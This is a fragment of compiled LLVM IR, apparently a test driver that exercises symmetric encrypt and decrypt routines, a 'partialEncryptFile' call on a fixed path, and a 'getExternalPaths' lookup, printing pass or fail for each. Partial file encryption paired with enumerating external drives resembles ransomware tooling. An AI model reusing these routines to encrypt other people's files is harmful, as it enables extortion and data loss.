%55 = getelementptr inbounds [16 x i8], [16 x i8]* %7, i64 0, i64 0
%56 = getelementptr inbounds [16 x i8], [16 x i8]* %8, i64 0, i64 0
%57 = call i32 @symEncrypt(i8* %55, i8* %54, i8* %10, i32 16)
%58 = icmp eq i32 %57, 0
%59 = select i1 %58, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0)
%60 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([16 x i8], [16 x i8]* @.str.13, i64 0, i64 0), i8* %59)
%61 = call i32 @symDecrypt(i8* %56, i8* %54, i8* %55, i32 16)
%62 = icmp eq i32 %61, 0
%63 = select i1 %62, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0)
%64 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([16 x i8], [16 x i8]* @.str.14, i64 0, i64 0), i8* %63, i8* %56)
%65 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([21 x i8], [21 x i8]* @str.23, i64 0, i64 0))
%66 = call i32 @partialEncryptFile(i8* %54, i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.16, i64 0, i64 0), i32 16, i32 0)
%67 = icmp eq i32 %66, 0
%68 = select i1 %67, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0)
%69 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([24 x i8], [24 x i8]* @.str.17, i64 0, i64 0), i8* %68)
%70 = call i32 @partialEncryptFile(i8* %54, i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.16, i64 0, i64 0), i32 16, i32 1)
%71 = icmp eq i32 %70, 0
%72 = select i1 %71, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0)
%73 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([26 x i8], [26 x i8]* @.str.18, i64 0, i64 0), i8* %72)
%74 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([18 x i8], [18 x i8]* @str.24, i64 0, i64 0))
%75 = bitcast i8** %9 to i8*
store i8* null, i8** %9
%76 = call i64 @getExternalPaths(i8** %9)
%77 = icmp eq i64 %76, 0
%78 = select i1 %77, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0)
%79 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([22 x i8], [22 x i8]* @.str.20, i64 0, i64 0), i8* %78)
ret i32 0
}